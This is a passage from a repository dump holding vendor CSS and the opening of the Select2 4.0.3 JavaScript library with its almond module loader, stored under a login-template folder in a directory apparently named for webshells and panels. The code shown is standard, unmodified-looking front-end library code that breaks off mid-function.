.hamburger-inner::before {\r\n    transition-property: top, opacity; }\r\n  .hamburger--vortex-r .hamburger-inner::after {\r\n    transition-property: bottom, transform; }\r\n\r\n.hamburger--vortex-r.is-active .hamburger-inner {\r\n  transform: rotate(-765deg);\r\n  transition-timing-function: cubic-bezier(0.19, 1, 0.22, 1); }\r\n  .hamburger--vortex-r.is-active .hamburger-inner::before, .hamburger--vortex-r.is-active .hamburger-inner::after {\r\n    transition-delay: 0s; }\r\n  .hamburger--vortex-r.is-active .hamburger-inner::before {\r\n    top: 0;\r\n    opacity: 0; }\r\n  .hamburger--vortex-r.is-active .hamburger-inner::after {\r\n    bottom: 0;\r\n    transform: rotate(-90deg); }\r\n"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/Files/Login_v1/Login_v1/vendor/select2/select2.css",
    "content": ".select2-container {\r\n  box-sizing: border-box;\r\n  display: inline-block;\r\n  margin: 0;\r\n  position: relative;\r\n  vertical-align: middle; }\r\n  .select2-container .select2-selection--single {\r\n    box-sizing: border-box;\r\n    cursor: pointer;\r\n    display: block;\r\n    height: 28px;\r\n    user-select: none;\r\n    -webkit-user-select: none; }\r\n    .select2-container .select2-selection--single .select2-selection__rendered {\r\n      display: block;\r\n      padding-left: 8px;\r\n      padding-right: 20px;\r\n      overflow: hidden;\r\n      text-overflow: ellipsis;\r\n      white-space: nowrap; }\r\n    .select2-container .select2-selection--single .select2-selection__clear {\r\n      position: relative; }\r\n  .select2-container[dir=\"rtl\"] .select2-selection--single .select2-selection__rendered {\r\n    padding-right: 8px;\r\n    padding-left: 20px; }\r\n  .select2-container .select2-selection--multiple {\r\n    box-sizing: border-box;\r\n    cursor: pointer;\r\n    display: block;\r\n    min-height: 32px;\r\n    user-select: none;\r\n    -webkit-user-select: none; }\r\n    .select2-container .select2-selection--multiple .select2-selection__rendered {\r\n      display: inline-block;\r\n      overflow: hidden;\r\n      padding-left: 8px;\r\n      text-overflow: ellipsis;\r\n      white-space: nowrap; }\r\n  .select2-container .select2-search--inline {\r\n    float: left; }\r\n    .select2-container .select2-search--inline .select2-search__field {\r\n      box-sizing: border-box;\r\n      border: none;\r\n      font-size: 100%;\r\n      margin-top: 5px;\r\n      padding: 0; }\r\n      .select2-container .select2-search--inline .select2-search__field::-webkit-search-cancel-button {\r\n        -webkit-appearance: none; }\r\n\r\n.select2-dropdown {\r\n  background-color: white;\r\n  border: 1px solid #aaa;\r\n  border-radius: 4px;\r\n  box-sizing: border-box;\r\n  display: block;\r\n  position: absolute;\r\n  left: -100000px;\r\n  width: 100%;\r\n  z-index: 1051; }\r\n\r\n.select2-results {\r\n  display: block; }\r\n\r\n.select2-results__options {\r\n  list-style: none;\r\n  margin: 0;\r\n  padding: 0; }\r\n\r\n.select2-results__option {\r\n  padding: 6px;\r\n  user-select: none;\r\n  -webkit-user-select: none; }\r\n  .select2-results__option[aria-selected] {\r\n    cursor: pointer; }\r\n\r\n.select2-container--open .select2-dropdown {\r\n  left: 0; }\r\n\r\n.select2-container--open .select2-dropdown--above {\r\n  border-bottom: none;\r\n  border-bottom-left-radius: 0;\r\n  border-bottom-right-radius: 0; }\r\n\r\n.select2-container--open .select2-dropdown--below {\r\n  border-top: none;\r\n  border-top-left-radius: 0;\r\n  border-top-right-radius: 0; }\r\n\r\n.select2-search--dropdown {\r\n  display: block;\r\n  padding: 4px; }\r\n  .select2-search--dropdown .select2-search__field {\r\n    padding: 4px;\r\n    width: 100%;\r\n    box-sizing: border-box; }\r\n    .select2-search--dropdown .select2-search__field::-webkit-search-cancel-button {\r\n      -webkit-appearance: none; }\r\n  .select2-search--dropdown.select2-search--hide {\r\n    display: none; }\r\n\r\n.select2-close-mask {\r\n  border: 0;\r\n  margin: 0;\r\n  padding: 0;\r\n  display: block;\r\n  position: fixed;\r\n  left: 0;\r\n  top: 0;\r\n  min-height: 100%;\r\n  min-width: 100%;\r\n  height: auto;\r\n  width: auto;\r\n  opacity: 0;\r\n  z-index: 99;\r\n  background-color: #fff;\r\n  filter: alpha(opacity=0); }\r\n\r\n.select2-hidden-accessible {\r\n  border: 0 !important;\r\n  clip: rect(0 0 0 0) !important;\r\n  height: 1px !important;\r\n  margin: -1px !important;\r\n  overflow: hidden !important;\r\n  padding: 0 !important;\r\n  position: absolute !important;\r\n  width: 1px !important; }\r\n\r\n.select2-container--default .select2-selection--single {\r\n  background-color: #fff;\r\n  border: 1px solid #aaa;\r\n  border-radius: 4px; }\r\n  .select2-container--default .select2-selection--single .select2-selection__rendered {\r\n    color: #444;\r\n    line-height: 28px; }\r\n  .select2-container--default .select2-selection--single .select2-selection__clear {\r\n    cursor: pointer;\r\n    float: right;\r\n    font-weight: bold; }\r\n  .select2-container--default .select2-selection--single .select2-selection__placeholder {\r\n    color: #999; }\r\n  .select2-container--default .select2-selection--single .select2-selection__arrow {\r\n    height: 26px;\r\n    position: absolute;\r\n    top: 1px;\r\n    right: 1px;\r\n    width: 20px; }\r\n    .select2-container--default .select2-selection--single .select2-selection__arrow b {\r\n      border-color: #888 transparent transparent transparent;\r\n      border-style: solid;\r\n      border-width: 5px 4px 0 4px;\r\n      height: 0;\r\n      left: 50%;\r\n      margin-left: -4px;\r\n      margin-top: -2px;\r\n      position: absolute;\r\n      top: 50%;\r\n      width: 0; }\r\n\r\n.select2-container--default[dir=\"rtl\"] .select2-selection--single .select2-selection__clear {\r\n  float: left; }\r\n\r\n.select2-container--default[dir=\"rtl\"] .select2-selection--single .select2-selection__arrow {\r\n  left: 1px;\r\n  right: auto; }\r\n\r\n.select2-container--default.select2-container--disabled .select2-selection--single {\r\n  background-color: #eee;\r\n  cursor: default; }\r\n  .select2-container--default.select2-container--disabled .select2-selection--single .select2-selection__clear {\r\n    display: none; }\r\n\r\n.select2-container--default.select2-container--open .select2-selection--single .select2-selection__arrow b {\r\n  border-color: transparent transparent #888 transparent;\r\n  border-width: 0 4px 5px 4px; }\r\n\r\n.select2-container--default .select2-selection--multiple {\r\n  background-color: white;\r\n  border: 1px solid #aaa;\r\n  border-radius: 4px;\r\n  cursor: text; }\r\n  .select2-container--default .select2-selection--multiple .select2-selection__rendered {\r\n    box-sizing: border-box;\r\n    list-style: none;\r\n    margin: 0;\r\n    padding: 0 5px;\r\n    width: 100%; }\r\n    .select2-container--default .select2-selection--multiple .select2-selection__rendered li {\r\n      list-style: none; }\r\n  .select2-container--default .select2-selection--multiple .select2-selection__placeholder {\r\n    color: #999;\r\n    margin-top: 5px;\r\n    float: left; }\r\n  .select2-container--default .select2-selection--multiple .select2-selection__clear {\r\n    cursor: pointer;\r\n    float: right;\r\n    font-weight: bold;\r\n    margin-top: 5px;\r\n    margin-right: 10px; }\r\n  .select2-container--default .select2-selection--multiple .select2-selection__choice {\r\n    background-color: #e4e4e4;\r\n    border: 1px solid #aaa;\r\n    border-radius: 4px;\r\n    cursor: default;\r\n    float: left;\r\n    margin-right: 5px;\r\n    margin-top: 5px;\r\n    padding: 0 5px; }\r\n  .select2-container--default .select2-selection--multiple .select2-selection__choice__remove {\r\n    color: #999;\r\n    cursor: pointer;\r\n    display: inline-block;\r\n    font-weight: bold;\r\n    margin-right: 2px; }\r\n    .select2-container--default .select2-selection--multiple .select2-selection__choice__remove:hover {\r\n      color: #333; }\r\n\r\n.select2-container--default[dir=\"rtl\"] .select2-selection--multiple .select2-selection__choice, .select2-container--default[dir=\"rtl\"] .select2-selection--multiple .select2-selection__placeholder, .select2-container--default[dir=\"rtl\"] .select2-selection--multiple .select2-search--inline {\r\n  float: right; }\r\n\r\n.select2-container--default[dir=\"rtl\"] .select2-selection--multiple .select2-selection__choice {\r\n  margin-left: 5px;\r\n  margin-right: auto; }\r\n\r\n.select2-container--default[dir=\"rtl\"] .select2-selection--multiple .select2-selection__choice__remove {\r\n  margin-left: 2px;\r\n  margin-right: auto; }\r\n\r\n.select2-container--default.select2-container--focus .select2-selection--multiple {\r\n  border: solid black 1px;\r\n  outline: 0; }\r\n\r\n.select2-container--default.select2-container--disabled .select2-selection--multiple {\r\n  background-color: #eee;\r\n  cursor: default; }\r\n\r\n.select2-container--default.select2-container--disabled .select2-selection__choice__remove {\r\n  display: none; }\r\n\r\n.select2-container--default.select2-container--open.select2-container--above .select2-selection--single, .select2-container--default.select2-container--open.select2-container--above .select2-selection--multiple {\r\n  border-top-left-radius: 0;\r\n  border-top-right-radius: 0; }\r\n\r\n.select2-container--default.select2-container--open.select2-container--below .select2-selection--single, .select2-container--default.select2-container--open.select2-container--below .select2-selection--multiple {\r\n  border-bottom-left-radius: 0;\r\n  border-bottom-right-radius: 0; }\r\n\r\n.select2-container--default .select2-search--dropdown .select2-search__field {\r\n  border: 1px solid #aaa; }\r\n\r\n.select2-container--default .select2-search--inline .select2-search__field {\r\n  background: transparent;\r\n  border: none;\r\n  outline: 0;\r\n  box-shadow: none;\r\n  -webkit-appearance: textfield; }\r\n\r\n.select2-container--default .select2-results > .select2-results__options {\r\n  max-height: 200px;\r\n  overflow-y: auto; }\r\n\r\n.select2-container--default .select2-results__option[role=group] {\r\n  padding: 0; }\r\n\r\n.select2-container--default .select2-results__option[aria-disabled=true] {\r\n  color: #999; }\r\n\r\n.select2-container--default .select2-results__option[aria-selected=true] {\r\n  background-color: #ddd; }\r\n\r\n.select2-container--default .select2-results__option .select2-results__option {\r\n  padding-left: 1em; }\r\n  .select2-container--default .select2-results__option .select2-results__option .select2-results__group {\r\n    padding-left: 0; }\r\n  .select2-container--default .select2-results__option .select2-results__option .select2-results__option {\r\n    margin-left: -1em;\r\n    padding-left: 2em; }\r\n    .select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option {\r\n      margin-left: -2em;\r\n      padding-left: 3em; }\r\n      .select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option {\r\n        margin-left: -3em;\r\n        padding-left: 4em; }\r\n        .select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option {\r\n          margin-left: -4em;\r\n          padding-left: 5em; }\r\n          .select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option {\r\n            margin-left: -5em;\r\n            padding-left: 6em; }\r\n\r\n.select2-container--default .select2-results__option--highlighted[aria-selected] {\r\n  background-color: #5897fb;\r\n  color: white; }\r\n\r\n.select2-container--default .select2-results__group {\r\n  cursor: default;\r\n  display: block;\r\n  padding: 6px; }\r\n\r\n.select2-container--classic .select2-selection--single {\r\n  background-color: #f7f7f7;\r\n  border: 1px solid #aaa;\r\n  border-radius: 4px;\r\n  outline: 0;\r\n  background-image: -webkit-linear-gradient(top, white 50%, #eeeeee 100%);\r\n  background-image: -o-linear-gradient(top, white 50%, #eeeeee 100%);\r\n  background-image: linear-gradient(to bottom, white 50%, #eeeeee 100%);\r\n  background-repeat: repeat-x;\r\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFFFFFFF', endColorstr='#FFEEEEEE', GradientType=0); }\r\n  .select2-container--classic .select2-selection--single:focus {\r\n    border: 1px solid #5897fb; }\r\n  .select2-container--classic .select2-selection--single .select2-selection__rendered {\r\n    color: #444;\r\n    line-height: 28px; }\r\n  .select2-container--classic .select2-selection--single .select2-selection__clear {\r\n    cursor: pointer;\r\n    float: right;\r\n    font-weight: bold;\r\n    margin-right: 10px; }\r\n  .select2-container--classic .select2-selection--single .select2-selection__placeholder {\r\n    color: #999; }\r\n  .select2-container--classic .select2-selection--single .select2-selection__arrow {\r\n    background-color: #ddd;\r\n    border: none;\r\n    border-left: 1px solid #aaa;\r\n    border-top-right-radius: 4px;\r\n    border-bottom-right-radius: 4px;\r\n    height: 26px;\r\n    position: absolute;\r\n    top: 1px;\r\n    right: 1px;\r\n    width: 20px;\r\n    background-image: -webkit-linear-gradient(top, #eeeeee 50%, #cccccc 100%);\r\n    background-image: -o-linear-gradient(top, #eeeeee 50%, #cccccc 100%);\r\n    background-image: linear-gradient(to bottom, #eeeeee 50%, #cccccc 100%);\r\n    background-repeat: repeat-x;\r\n    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFEEEEEE', endColorstr='#FFCCCCCC', GradientType=0); }\r\n    .select2-container--classic .select2-selection--single .select2-selection__arrow b {\r\n      border-color: #888 transparent transparent transparent;\r\n      border-style: solid;\r\n      border-width: 5px 4px 0 4px;\r\n      height: 0;\r\n      left: 50%;\r\n      margin-left: -4px;\r\n      margin-top: -2px;\r\n      position: absolute;\r\n      top: 50%;\r\n      width: 0; }\r\n\r\n.select2-container--classic[dir=\"rtl\"] .select2-selection--single .select2-selection__clear {\r\n  float: left; }\r\n\r\n.select2-container--classic[dir=\"rtl\"] .select2-selection--single .select2-selection__arrow {\r\n  border: none;\r\n  border-right: 1px solid #aaa;\r\n  border-radius: 0;\r\n  border-top-left-radius: 4px;\r\n  border-bottom-left-radius: 4px;\r\n  left: 1px;\r\n  right: auto; }\r\n\r\n.select2-container--classic.select2-container--open .select2-selection--single {\r\n  border: 1px solid #5897fb; }\r\n  .select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow {\r\n    background: transparent;\r\n    border: none; }\r\n    .select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow b {\r\n      border-color: transparent transparent #888 transparent;\r\n      border-width: 0 4px 5px 4px; }\r\n\r\n.select2-container--classic.select2-container--open.select2-container--above .select2-selection--single {\r\n  border-top: none;\r\n  border-top-left-radius: 0;\r\n  border-top-right-radius: 0;\r\n  background-image: -webkit-linear-gradient(top, white 0%, #eeeeee 50%);\r\n  background-image: -o-linear-gradient(top, white 0%, #eeeeee 50%);\r\n  background-image: linear-gradient(to bottom, white 0%, #eeeeee 50%);\r\n  background-repeat: repeat-x;\r\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFFFFFFF', endColorstr='#FFEEEEEE', GradientType=0); }\r\n\r\n.select2-container--classic.select2-container--open.select2-container--below .select2-selection--single {\r\n  border-bottom: none;\r\n  border-bottom-left-radius: 0;\r\n  border-bottom-right-radius: 0;\r\n  background-image: -webkit-linear-gradient(top, #eeeeee 50%, white 100%);\r\n  background-image: -o-linear-gradient(top, #eeeeee 50%, white 100%);\r\n  background-image: linear-gradient(to bottom, #eeeeee 50%, white 100%);\r\n  background-repeat: repeat-x;\r\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFEEEEEE', endColorstr='#FFFFFFFF', GradientType=0); }\r\n\r\n.select2-container--classic .select2-selection--multiple {\r\n  background-color: white;\r\n  border: 1px solid #aaa;\r\n  border-radius: 4px;\r\n  cursor: text;\r\n  outline: 0; }\r\n  .select2-container--classic .select2-selection--multiple:focus {\r\n    border: 1px solid #5897fb; }\r\n  .select2-container--classic .select2-selection--multiple .select2-selection__rendered {\r\n    list-style: none;\r\n    margin: 0;\r\n    padding: 0 5px; }\r\n  .select2-container--classic .select2-selection--multiple .select2-selection__clear {\r\n    display: none; }\r\n  .select2-container--classic .select2-selection--multiple .select2-selection__choice {\r\n    background-color: #e4e4e4;\r\n    border: 1px solid #aaa;\r\n    border-radius: 4px;\r\n    cursor: default;\r\n    float: left;\r\n    margin-right: 5px;\r\n    margin-top: 5px;\r\n    padding: 0 5px; }\r\n  .select2-container--classic .select2-selection--multiple .select2-selection__choice__remove {\r\n    color: #888;\r\n    cursor: pointer;\r\n    display: inline-block;\r\n    font-weight: bold;\r\n    margin-right: 2px; }\r\n    .select2-container--classic .select2-selection--multiple .select2-selection__choice__remove:hover {\r\n      color: #555; }\r\n\r\n.select2-container--classic[dir=\"rtl\"] .select2-selection--multiple .select2-selection__choice {\r\n  float: right; }\r\n\r\n.select2-container--classic[dir=\"rtl\"] .select2-selection--multiple .select2-selection__choice {\r\n  margin-left: 5px;\r\n  margin-right: auto; }\r\n\r\n.select2-container--classic[dir=\"rtl\"] .select2-selection--multiple .select2-selection__choice__remove {\r\n  margin-left: 2px;\r\n  margin-right: auto; }\r\n\r\n.select2-container--classic.select2-container--open .select2-selection--multiple {\r\n  border: 1px solid #5897fb; }\r\n\r\n.select2-container--classic.select2-container--open.select2-container--above .select2-selection--multiple {\r\n  border-top: none;\r\n  border-top-left-radius: 0;\r\n  border-top-right-radius: 0; }\r\n\r\n.select2-container--classic.select2-container--open.select2-container--below .select2-selection--multiple {\r\n  border-bottom: none;\r\n  border-bottom-left-radius: 0;\r\n  border-bottom-right-radius: 0; }\r\n\r\n.select2-container--classic .select2-search--dropdown .select2-search__field {\r\n  border: 1px solid #aaa;\r\n  outline: 0; }\r\n\r\n.select2-container--classic .select2-search--inline .select2-search__field {\r\n  outline: 0;\r\n  box-shadow: none; }\r\n\r\n.select2-container--classic .select2-dropdown {\r\n  background-color: white;\r\n  border: 1px solid transparent; }\r\n\r\n.select2-container--classic .select2-dropdown--above {\r\n  border-bottom: none; }\r\n\r\n.select2-container--classic .select2-dropdown--below {\r\n  border-top: none; }\r\n\r\n.select2-container--classic .select2-results > .select2-results__options {\r\n  max-height: 200px;\r\n  overflow-y: auto; }\r\n\r\n.select2-container--classic .select2-results__option[role=group] {\r\n  padding: 0; }\r\n\r\n.select2-container--classic .select2-results__option[aria-disabled=true] {\r\n  color: grey; }\r\n\r\n.select2-container--classic .select2-results__option--highlighted[aria-selected] {\r\n  background-color: #3875d7;\r\n  color: white; }\r\n\r\n.select2-container--classic .select2-results__group {\r\n  cursor: default;\r\n  display: block;\r\n  padding: 6px; }\r\n\r\n.select2-container--classic.select2-container--open .select2-dropdown {\r\n  border-color: #5897fb; }"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/Files/Login_v1/Login_v1/vendor/select2/select2.js",
    "content": "/*!\r\n * Select2 4.0.3\r\n * https://select2.github.io\r\n *\r\n * Released under the MIT license\r\n * https://github.com/select2/select2/blob/master/LICENSE.md\r\n */\r\n(function (factory) {\r\n  if (typeof define === 'function' && define.amd) {\r\n    // AMD. Register as an anonymous module.\r\n    define(['jquery'], factory);\r\n  } else if (typeof module === 'object' && module.exports) {\r\n    // Node/CommonJS\r\n    module.exports = function (root, jQuery) {\r\n      if (jQuery === undefined) {\r\n        // require('jQuery') returns a factory that requires window to\r\n        // build a jQuery instance, we normalize how we use modules\r\n        // that require this pattern but the window provided is a noop\r\n        // if it's defined (how jquery works)\r\n        if (typeof window !== 'undefined') {\r\n          jQuery = require('jquery');\r\n        }\r\n        else {\r\n          jQuery = require('jquery')(root);\r\n        }\r\n      }\r\n      factory(jQuery);\r\n      return jQuery;\r\n    };\r\n  } else {\r\n    // Browser globals\r\n    factory(jQuery);\r\n  }\r\n} (function (jQuery) {\r\n  // This is needed so we can catch the AMD loader configuration and use it\r\n  // The inner file should be wrapped (by `banner.start.js`) in a function that\r\n  // returns the AMD loader references.\r\n  var S2 =(function () {\r\n  // Restore the Select2 AMD loader so it can be used\r\n  // Needed mostly in the language files, where the loader is not inserted\r\n  if (jQuery && jQuery.fn && jQuery.fn.select2 && jQuery.fn.select2.amd) {\r\n    var S2 = jQuery.fn.select2.amd;\r\n  }\r\nvar S2;(function () { if (!S2 || !S2.requirejs) {\r\nif (!S2) { S2 = {}; } else { require = S2; }\r\n/**\r\n * @license almond 0.3.1 Copyright (c) 2011-2014, The Dojo Foundation All Rights Reserved.\r\n * Available via the MIT or new BSD license.\r\n * see: http://github.com/jrburke/almond for details\r\n */\r\n//Going sloppy to avoid 'use strict' string cost, but strict practices should\r\n//be followed.\r\n/*jslint sloppy: true */\r\n/*global setTimeout: false */\r\n\r\nvar requirejs, require, define;\r\n(function (undef) {\r\n    var main, req, makeMap, handlers,\r\n        defined = {},\r\n        waiting = {},\r\n        config = {},\r\n        defining = {},\r\n        hasOwn = Object.prototype.hasOwnProperty,\r\n        aps = [].slice,\r\n        jsSuffixRegExp = /\\.js$/;\r\n\r\n    function hasProp(obj, prop) {\r\n        return hasOwn.call(obj, prop);\r\n    }\r\n\r\n    /**\r\n     * Given a relative module name, like ./something, normalize it to\r\n     * a real name that can be mapped to a path.\r\n     * @param {String} name the relative name\r\n     * @param {String} baseName a real name that the name arg is relative\r\n     * to.\r\n     * @returns {String} normalized name\r\n     */\r\n    function normalize(name, baseName) {\r\n        var nameParts, nameSegment, mapValue, foundMap, lastIndex,\r\n            foundI, foundStarMap, starI, i, j, part,\r\n            baseParts = baseName && baseName.split(\"/\"),\r\n            map = config.map,\r\n            starMap = (map && map['*']) || {};\r\n\r\n        //Adjust any relative paths.\r\n        if (name && name.charAt(0) === \".\") {\r\n            //If have a base name, try to normalize against it,\r\n            //otherwise, assume it is a top-level require that will\r\n            //be relative to baseUrl in the end.\r\n            if (baseName) {\r\n                name = name.split('/');\r\n                lastIndex = name.length - 1;\r\n\r\n                // Node .js allowance:\r\n                if (config.nodeIdCompat && jsSuffixRegExp.test(name[lastIndex])) {\r\n                    name[lastIndex] = name[lastIndex].replace(jsSuffixRegExp, '');\r\n                }\r\n\r\n                //Lop off the last part of baseParts, so that . matches the\r\n                //\"directory\" and not name of the baseName's module. For instance,\r\n                //baseName of \"one/two/three\", maps to \"one/two/three.js\", but we\r\n                //want the directory, \"one/two\" for this normalization.\r\n                name = baseParts.slice(0, baseParts.length - 1).concat(name);\r\n\r\n                //start trimDots\r\n                for (i = 0; i < name.length; i += 1) {\r\n                    part = name[i];\r\n                    if (part === \".\") {\r\n                        name.splice(i, 1);\r\n                        i -= 1;\r\n                    } else if (part === \"..\") {\r\n                        if (i === 1 && (name[2] === '..' || name[0] === '..')) {\r\n                            //End of the line. Keep at least one non-dot\r\n                            //path segment at the front so it can be mapped\r\n                            //correctly to disk. Otherwise, there is likely\r\n                            //no path mapping for a path starting with '..'.\r\n                            //This can still fail, but catches the most reasonable\r\n                            //uses of ..\r\n                            break;\r\n                        } else if (i > 0) {\r\n                            name.splice(i - 1, 2);\r\n                            i -= 2;\r\n                        }\r\n                    }\r\n                }\r\n                //end trimDots\r\n\r\n                name = name.join(\"/\");\r\n            } else if (name.indexOf('./') === 0) {\r\n                // No baseName, so this is ID is resolved relative\r\n                // to baseUrl, pull off the leading dot.\r\n                name = name.substring(2);\r\n            }\r\n        }\r\n\r\n        //Apply map config if available.\r\n        if ((baseParts || starMap) && map) {\r\n            nameParts = name.split('/');\r\n\r\n            for (i = nameParts.length; i > 0; i -= 1) {\r\n                nameSegment = nameParts.slice(0, i).join(\"/\");\r\n\r\n                if (baseParts) {\r\n                    //Find the longest baseName segment match in the config.\r\n                    //So, do joins on the biggest to smallest lengths of baseParts.\r\n                    for (j = baseParts.length; j > 0; j -= 1) {\r\n                        mapValue = map[baseParts.slice(0, j).join('/')];\r\n\r\n                        //baseName segment has  config, find if it has one for\r\n                        //this name.\r\n                        if (mapValue) {\r\n                            mapValue = mapValue[nameSegment];\r\n                            if (mapValue) {\r\n                                //Match, update name to the new value.\r\n                                foundMap = mapValue;\r\n                                foundI = i;\r\n                                break;\r\n                            }\r\n                        }\r\n                    }\r\n                }\r\n\r\n                if (foundMap) {\r\n                    break;\r\n                }\r\n\r\n                //Check for a star map match, but just hold on to it,\r\n                //if there is a shorter segment match later in a matching\r\n                //config, then favor over this star map.\r\n                if (!foundStarMap && starMap && starMap[nameSegment]) {\r\n                    foundStarMap = starMap[nameSegment];\r\n                    starI = i;\r\n                }\r\n            }\r\n\r\n            if (!foundMap && foundStarMap) {\r\n                foundMap = foundStarMap;\r\n                foundI = starI;\r\n            }\r\n\r\n            if (foundMap) {\r\n                nameParts.splice(0, foundI, foundMap);\r\n                name = nameParts.join('/');\r\n            }\r\n        }\r\n\r\n        return name;\r\n    }\r\n\r\n    function makeRequire(relName, forceSync) {\r\n        return function () {\r\n            //A version of a require function that passes a moduleName\r\n            //value for items that may need to\r\n            //look up paths relative to the moduleName\r\n            var args = aps.call(arguments, 0);\r\n\r\n            //If first arg is not require('string'), and there is only\r\n            //one arg, it is the array form without a callback. Insert\r\n            //a null so that the following concat is correct.\r\n            if (typeof args[0] !== 'string' && args.length === 1) {\r\n                args.push(null);\r\n            }\r\n            return req.apply(undef, args.concat([relName, forceSync]));\r\n        };\r\n    }\r\n\r\n    function makeNormalize(relName) {\r\n        return function (name) {\r\n            return normalize(name, relName);\r\n        };\r\n    }\r\n\r\n    function makeLoad(depName) {\r\n        return function (value) {\r\n            defined[depName] = value;\r\n        };\r\n    }\r\n\r\n    function callDep(name) {\r\n        if (hasProp(waiting, name)) {\r\n            var args = waiting[name];\r\n            delete waiting[name];\r\n            defining[name] = true;\r\n            main.apply(undef, args);\r\n        }\r\n\r\n        if (!hasProp(defined, name) && !hasProp(defining, name)) {\r\n            throw new Error('No ' + name);\r\n        }\r\n        return defined[name];\r\n    }\r\n\r\n    //Turns a plugin!resource to [plugin, resource]\r\n    //with the plugin being undefined if the name\r\n    //did not have a plugin prefix.\r\n    function splitPrefix(name) {\r\n        var prefix,\r\n            index = name ? name.indexOf('!') : -1;\r\n        if (index > -1) {\r\n            prefix = name.substring(0, index);\r\n            name = name.substring(index + 1, name.length);\r\n        }\r\n        return [prefix, name];\r\n    }\r\n\r\n    /**\r\n     * Makes a name map, normalizing the name, and using a plugin\r\n     * for normalization if necessary. Grabs a ref to plugin\r\n     * too, as an optimization.\r\n     */\r\n    makeMap = function (name, relName) {\r\n        var plugin,\r\n            parts = splitPrefix(name),\r\n            prefix = parts[0];\r\n\r\n        name = parts[1];\r\n\r\n        if (prefix) {\r\n            prefix = normalize(prefix, relName);\r\n            plugin = callDep(prefix);\r\n        }\r\n\r\n        //Normalize according\r\n        if (prefix) {\r\n            if (plugin && plugin.normalize) {\r\n                name = plugin.normalize(name, makeNormalize(relName));\r\n            } else {\r\n                name = normalize(name, relName);\r\n            }\r\n        } else {\r\n            name = normalize(name, relName);\r\n            parts = splitPrefix(name);\r\n            prefix = parts[0];\r\n            name = parts[1];\r\n            if (prefix) {\r\n                plugin = callDep(prefix);\r\n            }\r\n        }\r\n\r\n        //Using ridiculous property names for space reasons\r\n        return {\r\n            f: prefix ? prefix + '!' + name : name, //fullName\r\n            n: name,\r\n            pr: prefix,\r\n            p: plugin\r\n        };\r\n    };\r\n\r\n    function makeConfig(name) {\r\n        return function () {\r\n            return (config && config.config && config.config[name]) || {};\r\n        };\r\n    }\r\n\r\n    handlers = {\r\n        require: function (name) {\r\n            return makeRequire(name);\r\n        },\r\n        exports: function (name) {\r\n            var e = defined[name];\r\n            if (typeof e !== 'undefined') {\r\n                return e;\r\n            } else {\r\n                return (defined[name] = {});\r\n            }\r\n        },\r\n        module: function (name) {\r\n            return {\r\n                id: name,\r\n                uri: '',\r\n                exports: defined[name],\r\n                config: makeConfig(name)\r\n            };\r\n        }\r\n    };\r\n\r\n    main = function (name, deps, callback, relName) {\r\n        var cjsModule, depName, ret, map, i,\r\n            args = [],\r\n            callbackType = typeof callback,\r\n            usingExports;\r\n\r\n        //Use name if no relName\r\n        relName = relName || name;\r\n\r\n        //Call the callback to define the module, if necessary.\r\n        if (callbackType === 'undefined' || callbackType === 'function') {\r\n            //Pull out the defined dependencies and pass the ordered\r\n            //values to the callback.\r\n            //Default to [require, exports, module] if no deps\r\n            deps = !deps.length && callback.length ? ['require', 'exports', 'module'] : deps;\r\n            for (i = 0; i < deps.length; i += 1) {\r\n                map = makeMap(deps[i], relName);\r\n                depName = map.f;\r\n\r\n                //Fast path CommonJS standard dependencies.\r\n                if (depName === \"require\") {\r\n                    args[i] = handlers.require(name);\r\n                } else if (depName === \"exports\") {\r\n                    //CommonJS module spec 1.1\r\n                    args[i] = handlers.exports(name);\r\n                    usingExports = true;\r\n                } else if (depName === \"module\") {\r\n                    //CommonJS module spec 1.1\r\n                    cjsModule = args[i] = handlers.module(name);\r\n                } else if (hasProp(defined, depName) ||\r\n                           hasProp(waiting, depName) ||\r\n                           hasProp(defining, depName)) {\r\n                    args[i] = callDep(depName);\r\n                } else if (map.p) {\r\n                    map.p.load(map.n, makeRequire(relName, true), makeLoad(depName), {});\r\n                    args[i] = defined[depName];\r\n                } else {\r\n                    throw new Error(name + ' missing ' + depName);\r\n                }\r\n            }\r\n\r\n            ret = callback ? callback.apply(defined[name], args) : undefined;\r\n\r\n            if (name) {\r\n                //If setting exports via \"module\" is in play,\r\n                //favor that over return value and exports. After that,\r\n                //favor a non-undefined return value over exports use.\r\n                if (cjsModule && cjsModule.exports !== undef &&\r\n                        cjsModule.exports !== defined[name]) {\r\n                    defined[name] = cjsModule.exports;\r\n                } else if (ret !== undef || !usingExports) {\r\n                    //Use the return value from the function.\r\n                    defined[name] = ret;\r\n                }\r\n            }\r\n        } else if (name) {\r\n            //May just be an object definition for the module. Only\r\n            //worry about defining if have a module name.\r\n            defined[name] = callback;\r\n        }\r\n    };\r\n\r\n    requirejs = require = req = function (deps, callback, relName, forceSync, alt) {\r\n        if (typeof deps === \"string\") {\r\n            if (handlers[deps]) {\r\n                //callback in this case is really relName\r\n                return handlers[deps](callback);\r\n            }\r\n            //Just return the module wanted. In this scenario, the\r\n            //deps arg is the module name, and second arg (if passed)\r\n            //is just the relName.\r\n            //Normalize module name, if it contains . or ..\r\n            return callDep(makeMap(deps, callback).f);\r\n        } else if (!deps.splice) {\r\n            //deps is a config object, not an array.\r\n            config = deps;\r\n            if (config.deps) {\r\n                req(config.deps, config.callback);\r\n            }\r\n            if (!callback) {\r\n                return;\r\n            }\r\n\r\n            if (callback.splice) {\r\n                //callback is an array, which means it is a dependency list.\r\n                //Adjust args if there are dependencies\r\n                deps = callback;\r\n                callback = relName;\r\n                relName = null;\r\n            } else {\r\n                deps = undef;\r\n            }\r\n        }\r\n\r\n        //Support require(['a'])\r\n        callback = callback || function () {};\r\n\r\n        //If relName is a function, it is an errback handler,\r\n        //so remove it.\r\n        if (typeof relName === 'function') {\r\n            relName = forceSync;\r\n            forceSync = alt;\r\n        }\r\n\r\n        